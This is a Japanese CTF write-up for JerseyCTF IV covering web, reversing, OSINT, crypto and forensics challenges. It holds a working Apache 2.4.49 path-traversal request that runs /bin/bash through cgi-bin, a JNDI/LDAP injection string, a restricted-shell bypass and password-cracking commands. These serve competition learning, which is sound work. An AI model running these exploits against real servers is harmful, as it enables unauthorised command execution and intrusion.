# JerseyCTF IV Writeup [Worn Flag Generator](https://jerseyctf.ctfd.io/teams/1108)としてプレイし、4754 pointを獲得して520チーム中76位でした ## 解けた ### web - Consent-N-Consent (322 Solves) <details><summary>問題</summary> > This site looks normal but why is there so much to read? What is the form for? > > [Access Here!](http://44.210.135.76) > > Devleoped by: Ash </details> はちゃめちゃに狭いメッセージボックスにはちゃめちゃに長い利用規約が出てくるので、そこに書いてある数字を探して適切なテキストボックスにいれて送信する ### web - mmmmm-rbs (172 Solves) <details><summary>問題</summary> > Dr. Tom Lei is up to something again and it's not sounding good. We heard he was messing around over at https://drtomlei.xyz. Maybe we should look into this. > > Developed by: [Cyb0rgSw0rd](https://github.com/AlfredSimpson) > </details> ブログ的なサイトが渡される。 JWTがcookieに入ってるのでデコードすればOK ![image](https://hackmd.io/_uploads/B1n7sKRkR.png) ![image](https://hackmd.io/_uploads/r1lVjtAJR.png) ### web - logging4joy (224 Solves) <details><summary>問題</summary> > We are so happy to announce our very friendly & pretty basic chatbot! All was going well with it however, it must have ticked someone off that they decided to try to hack into the server and try to exploit it. This application, while seemingly benign, now contains hidden functionalities and potentially dangerous vulnerabilities reminiscent of the infamous `Log4j` exploit. We are asking for your help to step in and try to see how they got in. Your objective is to uncover these vulnerabilities, understand how they can be exploited, and ultimately use your findings to extract the flag hidden within the application's environment. > > [Click Me! I'm not dangerous!](http://44.202.69.161:8080/) > > Developed by: [Jack](https://github.com/JohnZabriskie) </details> log4jを使う問題かと思いきや、ページ内のスクリプトに`//if you are looking for the flag, maybe type something with this {jndi:ldap://}`と書いてある その通りにテキストを送るとconsoleにフラグが出てくる ### web - require-all-denied (115 Solves) <details><summary>問題</summary> > We found this control panel on the Internet. It seems to be broken. Can you find out more information? > > [Access Here!](http://54.160.214.145:1337) > > Developed by: [Noah Jacobson](https://github.com/noahajac) </details> apache 2.4.49のcgi で使えるexploitの問題 ```bash POST -c "text/plain" http://54.160.214.145:1337/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash ``` とかターミナルでたたいて、echo;lsとかすると`ls`したかのように見える echo;の部分は多分必要…だと思うのだけれど、今になって見ると(ctf当日からもう丸1週間経っている)どうして必要なのかわからない(◞‸◟) これを使って`/var/www/cgi-bin/status`を見にいくと、flagがある場所が表示されるので、それを見にいく ### bin/rev - humble-beginnings (188 Solves) <details><summary>問題</summary> > * In a city completely integrated with technology and living expenses through the roof, one way to get ahead is to become a netrunner. > * One day while browsing at a convenient store you notice that someone installed a crypto skimmer at the checkout counter. > * This normally would charge the person an unnoticeable amount more but luckily you have a blocker on your wallet. > * Through a slight of hand, you snatch the device. > * You wonder: <b>Can I gain access to the crypto wallet on the device?</b> > * Encase the found crypto address as follows `jctf{ADDRESS}` > > > Developed by: [Native Function](https://github.com/NativeFunction) </details> ghidraで中身を見ると暗号通貨のアドレスっぽいものがそのまんま貼り付けられている ![Screenshot from 2024-04-06 17-41-58](https://hackmd.io/_uploads/BJ38RKCy0.png) ``` jctf{mxnhCEkuBogW3E7XAEzNmaq6eZqW3zgEuu} ``` ### bin/rev - searching-through-vines (125 Solves) <details><summary>問題</summary> > * We got access to a terminal that the netrunners recently abandoned, it might have some useful information. > * Can you find a way to navigate the file system and see if there is anything of interest? > * `nc 18.213.3.107 1337` > > Developed by: [TomB](https://github.com/tomaszbrauntsch) </details> ```c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(){ char commandStr[32]; scanf("%s", commandStr); int i; const char * bTexts[6] = {"ls", "cat", "cd", "pwd", "less"}; int bTexts_size = (sizeof(bTexts) - 1) / sizeof(bTexts[0]); if (strlen(commandStr) <= 5){ for(i = 0; i < bTexts_size; i++){ if(strstr(commandStr, (char*)(bTexts[i])) != 0){ printf("Terminating... a violation occured!\n"); exit(1); } } system(commandStr); } else{ printf("Terminating... a violation occured!\n"); exit(2); } return 0; } ``` 指定された単語が使われておらず、かつ5文字以内になるコマンドのみを受け付けるようになっているshell `bash`が通る 一時期、どうして五文字以内なのに`find / -name "user.txt" 2>/dev/null`は通るんだろう…と疑問でいっぱいになっていたけれど、よくよく考えると`scanf`はスペースで文字を区切るので実際は`find`までしか読んでいないやつだった ### bin/rev - MathTest (87 Solves) <details><summary>問題</summary> > Solve three multiplication questions and get a flag. > > nc 18.207.140.246 9001 > > Developed by: [Robert Blacha](https://github.com/robertblacha) </details> ### misc - internal-tensions (274 Solves) <details><summary>問題</summary> > While preparing for JerseyCTF IV last month, I was going to help with updating our main website over at [jerseyctf.com](https://jerseyctf.com)... > As it turns out, I might have made a mistake when updating stuff and some of the staff are pretty disappointed with me now... > I thought it was fine! It didn't even show up on the website visibly... oh well.... hopefully no one was viewing the website all the way back last month. > > Developed by: [Daniel M.](https://github.com/DMarriello) </details> archive.orgを見る どういうわけか、14日のアーカイブには`書き込まれていたフラグを削除しました`と書かれているが、15日のアーカイブにはフラグがある ![Screenshot from 2024-04-06 17-08-51](https://hackmd.io/_uploads/HJLH7FAJ0.png) ### misc - data-divergence-discovery (260 Solves) <details><summary>問題</summary> > I received these 2 files in an email and they mysterious sender asked me to find the differences between the files. I cannot seem to figure out the differences, it looks all the same to me! Can you help me spot the differences. > > Once you find the differences, make to sure to encapsulate it in `jctf{answer}` > > Developed by [theamazins17](https://github.com/theamazins17) </details> `diff -u file1 file2 | colordiff | diff-highlight`して、変化のある文字を抜き出すとフラグになる `colordiff`とか`diff-highlight`は多分パッケージマネージャにある ### misc - welcome-hackers (294 Solves) <details><summary>問題</summary> > * Welcome to JCTF 2024! We're glad you're here. > * Please read the rules in the #rules [Discord](https://discord.gg/ZkZsJtmAvh) channel carefully. > * If you do, the flag will be revealed. > > > Developed by [Cyb0rgSw0rd](https://github.com/AlfredSimpson) </details> ルールを読んでチェックマークをリアクションする でも2024年ctf分の追加ルールには"読んだらチェックマークをリアクションしてね"とは書いてない のにもかかわらず、2024年分の追加ルールにもチェックマークを入れなければflagが貰えない 自己紹介のテキストチャットが`hi`で埋まってるのってこれのせいじゃない? ボブは訝しんだ ### misc - the-droid-youre-looking-for (135 Solves) <details><summary>問題</summary> > Can you analyze this file and see if there's any data of interest? > > Developed by [NJCCIC](https://www.cyber.nj.gov/) </details> apkが渡されるので[apktool](https://apktool.org/)で展開 vscodeでフォルダ開いてjctf で検索したらこのファイルがヒットした ```xml <!-- \res\layout\activity_main.xml --> <?xml version="1.0" encoding="utf-8"?> <androidx.constraintlayout.widget.ConstraintLayout android:layout_width="fill_parent" android:layout_height="fill_parent" xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto"> <androidx.constraintlayout.widget.ConstraintLayout android:layout_width="fill_parent" android:layout_height="fill_parent"> <TextView android:id="@id/flagBegin" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="jctf{" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" /> <TextView android:id="@id/flagMiddle" android:visibility="invisible" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginBottom="1.0dip" android:text="c4n_y0u_s33_m3?" android:layout_marginStart="149.0dip" android:layout_marginEnd="148.0dip" app:layout_constraintBottom_toTopOf="@id/flagEnd" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@id/flagBegin" /> <TextView android:id="@id/flagEnd" android:layout_width="wrap_content" android:layout_height="wrap_content" android:text="}" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toTopOf="parent" app:layout_constraintVertical_bias="0.553" /> <Button android:id="@id/flagButton" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginTop="16.0dip" android:layout_marginBottom="254.0dip" android:text="Get Flag" android:onClick="showFlag" android:layout_marginStart="155.0dip" android:layout_marginEnd="155.0dip" app:layout_constraintBottom_toBottomOf="parent" app:layout_constraintEnd_toEndOf="parent" app:layout_constraintStart_toStartOf="parent" app:layout_constraintTop_toBottomOf="@id/flagEnd" /> </androidx.constraintlayout.widget.ConstraintLayout> </androidx.constraintlayout.widget.ConstraintLayout> ``` android:textの値を連結すればいい ``` jctf{c4n_y0u_s33_m3?} ``` ### misc - cloud-storage-chaos (8 Solves) <details><summary>問題</summary> > * We intercepted Dr. Tom's research into cloud storage and found some strange occurences. > * It looks like he uploaded his diary purposefully to test his cloud storage? > * We tried to decipher it, but it was too much to do manually. Here's the link: https://youtu.be/U0XRrGPQwbY > > ***FLASHING LIGHTS WARNING***: Viewer discretion is advised. > > Developed by: [Daniel M.](https://github.com/dmarriello) > </details> なんと解けた1000点問題 渡されたyoutubeを見ると謎の白黒ノイズのような動画が流れる。こんなことをしてyoutubeを無限ストレージ化する試みがあったなあと思いぐぐってみるとまさにこれらしい https://gigazine.net/news/20230222-youtube-infinite-file-storage/ https://github.com/DvorakDwarf/Infinite-Storage-Glitch READMEに書いてあるとおりの手順でDockerでビルドできる(ここまでで1時間位かかった) 実行して動画のidを入れるとzipが作成される。minecraftのセーブデータが入っていた ![image](https://hackmd.io/_uploads/SyJaEjAk0.png) ![image](https://hackmd.io/_uploads/BJ2LyFC1C.png) スーパーフラットのワールドに謎のブロックが並んでいる。また、インベントリに本が入っていた > e"no block = space\nacacia wood = period\nsponge = comma\nbirch wood = apostraphe" 改行を意図したであろう部分がおかしいが、おそらく > no block = space ( ) acacia wood = period (.) sponge = comma (,) birch wood = apostraphe (') という意味であると推測した と、いうことはこれは特定のブロックが特定のアルファベットに対応して文が書かれているのではないかと推測。 このままだと頻度解析などができないので、根性で使われていたブロックのテクスチャを書き換えて文字列化する ![image](https://hackmd.io/_uploads/BkAdeFCkC.png) ![2024-03-24_23-54-23_javaw](https://hackmd.io/_uploads/SkL71Y0kA.png) > qadj qbdjl, hbima b gdhc sjfca kaja b nbmuaq vn d ias kfppl. bh odebio. hbima b kdta hf evmk cbea fi el hbqa, b'e dpga cf pamfea rvggl beeajhaq bi ckaha axnajbaimah diq aitfl ckae. bi rdmc, b'e mfihbqajbio edubio d odea fr el fsi. lah, b'gg edua d odea cf cahc cka ngdlaj'h dpbgbcl cf cbea cjdtag. ck bh odea hkfvgq pa cjbtbdg rfj nafnga gbua ea. b kfna cf rbiq efja nafnga sbck cka dpbgbcl cf cbea cjdtag rjfe bc. b sbgg qbhcjbpvca ckbh odea tbd el aedbg pl caggbio nafnga cf aedbg ea diq dhu rfj cbeacjdtagodeaj. b mdi'c sdbc cf haa skdc mfeah fr bc. nh el aedbg bh qfmcfegab dc oedbg.mfe それを[quipqiup](https://www.quipqiup.com/)というソルバーに渡すとそれらしき英文が出力された! ![2024-03-24_23-57-18_firefox](https://hackmd.io/_uploads/rkTXJK0yC.png) > dear diary, since i last wrote here i picked up a new hobby. is gaming. since i have so much time on my side, i'm able to become fully immersed in these experiences and envoy them. in fact, i'm considering making a game of my own. yes, i'll make a game to test the player's ability to time travel. th is game should be trivial for people like me. i hope to find more people with the ability to time travel from it. i will distribute this game via my email by telling people to email me and ask for timetravelgamer. i can't wait to see what comes of it. ps my email is doctomlei at gmail.com (ここまでで2.5時間くらい) メールを送れと書いてあるので送ってみると ![image](https://hackmd.io/_uploads/rJ0GgF0k0.png) すぐに返信が来た ![image](https://hackmd.io/_uploads/Hk--xYRJC.png) itch.ioで配布されているゲームがダウンロードでき、起動すると以下の画面だけが表示される ![image](https://hackmd.io/_uploads/BJ-2Lo010.png) ここで1576800000秒(50年)待ってもよかったが、ctf終了まで時間がなかったので、dnSpy先輩にAssembly-CSharp.dllを投げてこの処理の後何が起こるか教えてもらう ![2024-03-24_23-52-33_dnSpy](https://hackmd.io/_uploads/HkElwo0kA.png) 表示されるフラグが書いてあった ``` jctf{t1m3_m4y_ch4ng3_m3_but_1_c4n_ch4ng3_t1m3} ``` ### osint - this-is-not-the-flag-you-are-looking-for (270 Solves) <details><summary>問題</summary> > I received this note with this code. Enclosed with it, it asked for help finding a specific US Navy ship that was linked to this code. Can you decipher this code to give me the name of this US Navy ship and the type of ship it was with its associated number? > > Flag Format: `jctf{USS_Name_Of_Ship_TypeOfShip_Number}` > > Developed by: [theamazins17](https://github.com/theamazins17) </details> ![motto-1](https://hackmd.io/_uploads/BJG9T5RJC.png) motto.png が渡される https://en.wikipedia.org/wiki/Flag_semaphore 手機信号っぽいのでデコードするとこうなる: ![motto](https://hackmd.io/_uploads/HkLKp5CkC.png) > FIRE POWER FOR FREEDOM ググると、ニュージャージーであることがわかる ![image](https://hackmd.io/_uploads/rJppTcRy0.png) ![image](https://hackmd.io/_uploads/SJggR501C.png) なるほど、motto ``` jctf{USS_New_Jersey_BB_62} ``` ### osint - where-is-it (279 Solves) <details><summary>問題</summary> > I found this image online, and it's blurry, I can't see all its details! > > Flag format: `jctf{word_word_word_word}` > > Developed by: [Jrs229](https://github.com/jrs229) </details> ![WhereIsIt](https://hackmd.io/_uploads/HyTBAcR1C.jpg) AI生成っぽい画像が渡される。これがどこかって言われても…… ![image](https://hackmd.io/_uploads/ry6IRqA1C.png) 青空白猫するとzipが、さらにそのなかにtxtがある ``` 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000jctf{0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000not000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000real0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000place}00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 ``` なんだこれは 0を消すと文が浮かんでくるが、これではないらしい ![image](https://hackmd.io/_uploads/rJqcRqRyC.png) ![image](https://hackmd.io/_uploads/BkdhCcAJ0.png) でもこれしかないよなあと思って唸っていたら ``` jctf{not_a_real_place} ``` が正解だった。うーん…… ### osint - coasting-underground (298 Solves) <details><summary>問題</summary> > I am currently lost. > I am trying to find a local attraction at my current location, but can't seem to remember the name. > Can you figure out what the name of this nearby attraction is called? > > Flag Format: `jctf{name_of_attraction}` > > Developed by: [TomB](https://github.com/tomaszbrauntsch) </details> ![](https://imgur.com/9EFVj1R.jpg) https://bubbablueandme.com/nottingham-city-of-caves/ Google Lensするとイングランド ノッティンガムのCity of Cavesという場所であることがわかる `jctf{City_of_Caves}`, `jctf{City of Caves}`, `jctf{National_Justice_Museum}` どれも通らず悩んでいたが ``` jctf{city_of_caves} ``` で通った うーん……2 ### osint - beyond-the-packet (174 Solves) <details><summary>問題</summary> > NICC netrunners have intercepted network traffic sent over an insecure channel. It seems there are messages located somewhere sent by a suspect we believe to be under the influence of the Rogue AI. Perhaps there is a way to find information about where he plans to meet our informant for an exchange of secrets. > > > Flag Format - *(special characters allowed, use dashes instead of spaces and no capitalization of letters)* `jctf{name-of-location}` > > Developed by: [BonsaiUmai](https://github.com/JustinTecson) </details> 秘密の待合場所を見つけろとのこと。Wiresharkで通信をぐりぐりするとメッセージが見つかる。 ![image](https://hackmd.io/_uploads/rJP4xiAkC.png) > Meet at the heart of Greenwich Village, we will then walk to my regular drinking spot where my favorite musician is displayed on a door. You should listen to Voodoo Chile, it's like one of my favorite songs by him. Oh did you know that the Voice of a Generation as he was named during that era must've hung out there. Seems like the place fared well after the Fourth Corporate War despite existing way before that calamity. I read that in the city paper. Oh well I'm just rambling. You'll see where it's at. 英語読めん。 読めなさすぎてChatGPTに投げたところ一発で解いてくれた。すごすぎる ![image-1](https://hackmd.io/_uploads/H1VKxoA1A.png) > あなたの説明から推測すると、非常に特定で象徴的な場所を指しているようです: > > グリニッジ・ヴィレッジ:これは、特に音楽と芸術の面で歴史的および文化的な重要性を持つ、ニューヨーク市マンハッタンにある有名な地区です。 > > お気に入りのミュージシャンがドアに表示されている & Voodoo Chile:"Voodoo Chile"への言及は、ジミ・ヘンドリックスを強く連想させます。ドアにお気に入りのミュージシャンが表示されているという説明は、ヘンドリックスと関連した会場を示唆している可能性があります。 > > 世代の声:このフレーズは、1960年代にグリニッジ・ヴィレッジの音楽シーンに深く関わったボブ・ディランとよく関連付けられています。 > > 第四次企業戦争:これはゲームや推測フィクションからのような架空のイベントを連想させますが、多くの現代の出来事を生き延びてきた長い歴史を持つ場所を探すことを示唆しています。 > > これらの手がかりを組み合わせると、あなたが示唆している集合場所はおそらく**カフェ・ワ(Cafe Wha?)** でしょう。カフェ・ワは、ジミ・ヘンドリックスやボブ・ディランを含む伝説のミュージシャンをホストしてきた豊かな歴史で有名です。この会場は1960年代からニューヨーク音楽シーンの定番となっており、さまざまな実際のまたは架空のイベントを通じて「よくやってきた」という説明に合っています。「私の常連の飲み場」という言及と、「お気に入りのミュージシャンがドアに表示されている場所」は、カフェ・ワでヘンドリックスのようなアーティストが受けた賞賛と認識に一致しています。 フラグはメモり忘れた。たしか`jtcf{cafe-wha?}` > Flag Format - (special characters allowed, use dashes instead of spaces and no capitalization of letters) というのがヒントだったみたい ### crypto - Attn-Agents (334 Solves) <details><summary>問題</summary> > We heard a distress call and received a transmission. Only this text came through. You better take a look at this at once! It's definitely not Greek, I'll tell you that right now. > > Developed by: [rickyhernandez1000](https://github.com/rickyhernandez1000) </details> ``` Dwwhqwlrq MFWI djhqwv! Dq xqnqrzq DSW lv klmdfnlqj qhwzrunv wr vsuhdg vwhdowk pdozduh xvlqj vwrohq vrxufh frgh. Brxu plvvlrq: wudfn grzq wkh vrxufh ri wkh ohdnv dqg vwrs wkh zlgh-vsuhdg dwwdfnv dfurvv rxu qhwzrunv. Wlph lv uxqqlqj rxw. Wkh {idwh-ri-wkh-zhe} lv lq brxu kdqgv! ``` [ROT13から文章になるまでずらしてみるだけ](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,false,23)&input=RHd3aHF3bHJxIE1GV0kgZGpocXd2ISBEcSB4cW5xcnpxIERTVyBsdiBrbG1kZm5scWogcWh3enJ1bnYgd3IgdnN1aGRnIHZ3aGRvd2sgcGRvemR1aCB4dmxxaiB2d3JvaHEgdnJ4dWZoIGZyZ2guIEJyeHUgcGx2dmxycTogd3VkZm4gZ3J6cSB3a2ggdnJ4dWZoIHJpIHdraCBvaGRudiBkcWcgdndycyB3a2ggemxnaC12c3VoZGcgZHd3ZGZudiBkZnVydnYgcnh1IHFod3pydW52LiBXbHBoIGx2IHV4cXFscWogcnh3LiBXa2gge2lkd2gtcmktd2toLXpoZX0gbHYgbHEgYnJ4dSBrZHFndiE) ### forensics - substitute-detail-torrent (309 Solves) <details><summary>問題</summary> > We've been given a file and need to figure out what url it was downloaded from. > > Developed by: Ian </details> `strings`すると出てくる ![Screenshot from 2024-04-06 17-44-42](https://hackmd.io/_uploads/S1tOk9AyA.png) ### forensics - groovy (216 Solves) <details><summary>問題</summary> > You know you're getting old when you hear the music these kids are putting out and all you think is "no thank you." > > Anyway, I'm too old for this or maybe I need some cybernetic ears or something. Maybe you'll like these groovy tunes. > > Developed by: [Cyb0rgSw0rd](https://github.com/alfredsimpson) </details> やたらピコピコした音声ファイルのfrequency spectrumを見ると、そこにflagが書いてある ![image3](https://hackmd.io/_uploads/B1NiycRJC.png) ![image](https://hackmd.io/_uploads/ByCKziCJR.png) お得情報: ここから波形表示からスペクトグラム表示に変えられる ### forensics - open-notes (93 Solves) <details><summary>問題</summary> > A workstatiobn we are examining had some open files at the time of the memory capture. Examine the memory image at [open-notes.vmem](https://njit-jerseyctf.s3.amazonaws.com/opennotes/open-notes.vmem?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAUOXRGBUXGO462C4J%2F20240324%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240324T021105Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=b80b6134b35c447bde66f5e772edc3924c37eff3e65658fbe02300f43d7658b8) to find the flag. > > Developed by [NJCCIC](https://www.cyber.nj.gov) </details> Windowsのメモリダンプらしきvmemファイルが渡される Volatilityというメモリ分析をするソフトウェアで解くらしい (memory analysisという分野らしい) https://github.com/volatilityfoundation/volatility3 使ったことなかったので他のwriteupを見ながら挑戦。Volatility 3自体はkaliで難なく導入できた。 https://blog.hamayanhamayan.com/entry/2023/02/05/192852 `windows.pstree` プラグインを実行するとnotepadが実行されていることがわかる。open-notesという問題名からこのメモ帳に表示されている文字を抜き出すのが目的だろうと推測した。 ググっていると「起動しているメモ帳に表示されている文字を抜き出す」というぴったりなVolatility 3プラグインを公開している人がいたので、それを使うとフラグを入手できた https://medium.com/@rifqiaramadhan/volatility-3-plugin-kusertime-notepad-sticky-evtxlog-f0e8739eee55 ![image](https://hackmd.io/_uploads/Sk18y5CJ0.png) ### forensics - All-Along-the-Watchtower (107 Solves) <details><summary>問題</summary> > Our informant has met back with us at base. He has stolen a file from a suspect who’s starting to show dangerous signs of cyberpsychosis. Aside from his unending lust for bloodshed, our informant noted that the suspect would not shut up about “rats making him crazy” as well as the term “Base FFFF+1” but that’s probably just nonsense. Anyways, can you look beyond the layers of this corrupted file to extract the information that we need? > > Developed by: [BonsaiUmai](https://github.com/JustinTecson) </details> 意味わからん問題文。壊れたjpgが渡される。 青空白猫で覗くとzipとzipと7zが入っていることがわかる。 ![image](https://hackmd.io/_uploads/Sy8Kzq0yC.png) 1つ目のzipにはpassword.txtとprotected_2.7zが入っている ![image](https://hackmd.io/_uploads/rJgaM9RyA.png) これらはパスワードが掛けられていないので普通に取り出せる。 password.txtはパスワードのような文字列のテキストファイル ![image](https://hackmd.io/_uploads/SJ6w79R10.png) 7zはパスワード付き。 7z2johnでハッシュを作り、johntheripperにwordlistとしてpassword.txtをあげると開ける 参考: > 7z > 1.`7z2john ./chicken.7z > chicken.hash`でハッシュを抜き出す > 2. `john chicken.hash --wordlist=/usr/share/dirb/wordlists/rockyou.txt --format=7z-opencl`みたいに解析 > https://blog.hamayanhamayan.com/entry/2021/12/23/225445 そうして開かれたprotected_2.7zにはprotected.zip(パスワードなし)が入っている protected.zipにはsecret_plans.txtという謎のテキストが出てくる ![image](https://hackmd.io/_uploads/rJBrBq0k0.png) 𒄠 👆️これ、どこかで見たことがあるなあと思い、["𒄠 ctf"でググった](https://www.google.com/search?q=%22%F0%92%84%A0%22+ctf)ところ[Base65536であることが判明](https://aashutoshlodhi.medium.com/base-ffff-1-decoding-beyond-base64-f9f65d6400c2)したので、適当なデコーダに通してクリア https://www.better-converter.com/Encoders-Decoders/Base65536-Decode ![image](https://hackmd.io/_uploads/r14xPc0JC.png) ``` jctf{1-4m-50-50rry-f0r-7h15} ``` なお青空白猫で見つかった2つ目のzipは1つ目のzipの中に入っているzipを検出しているので、青空白猫で抽出しても開けなかった ### forensics - living-on-the-edge (75 Solves) <details><summary>問題</summary> > A workstation we are examing had a browser open at the time of the acquisition. Examine the memory image [living-on-the-edge.vmem](https://njit-jerseyctf.s3.amazonaws.com/livingonedge/living-on-the-edge.vmem?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAUOXRGBUXGO462C4J%2F20240324%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240324T023421Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=46eeb0ceb4dccc993ce94109cefe4b3ee3382b4657336bbecea5c2e871f3cc13) to find the flag. > > Developed by [NJCCIC](https://www.cyber.nj.gov) </details> open-notesの続き pstreeするとmsedgeが起動していることがわかるので、なんとかしてデータを受け取る問題 御存知の通りmsedgeはchromiumなのでchromeを調査するためのツールが使える。Volatility chromeなどで検索すると出てくる https://blog.superponible.com/2014/08/31/volatility-plugin-chrome-history/ が、これは古く、Volatility 2用なので3では使えない。いろいろ調べ回ったがこれ以外見つからなかった + 3用に直す力はなかったのでVolatility 2を動かす方針にした ![image](https://hackmd.io/_uploads/SJgqq901C.png) 動かしてみたところ履歴が出たが一部化けていて困った めんどいのでエスパーで解決した ``` jctf{3dg3_0f_y0ur_s3at} ``` どうやって解くのが正攻法だったんだろう --- https://www.ctfiot.com/169617.html Magnet AXIOMという同じようなことをするプロ向けソフトがあるらしい(無料ライセンスはないらしい) ## 解けなかった ### bin/rev - PasswordManager (147 Solves) <details><summary>問題</summary> > Due to the onerous password requirements at NICC (four characters), Mary Morse decided to write a password manager for herself. > Unfortunately, all it does it tell you if you guessed the password correctly. > Can you crack it? > > Developed by: [Ryan Tolboom](https://github.com/rxt1077) </details> ハードコードされている数字か文字列を内部で処理して、その値と入力された値を比較しているっぽい感じに見えた 比較する寸前で処理し終えた値を見ればよいのだろうけれど…gdbの使い方が本当にわからんので諦めた問題 https://cyberghost13337.github.io/2024/03/24/JerseyCTF-2024.html#PasswordManager この方を見る感じ、やり方はあっていたので本当にgdbの使い方の問題だった <style> details { margin-bottom: 1em; border: 1px solid gray; border-radius: 0.4em; } summary { padding: 1em; } </style>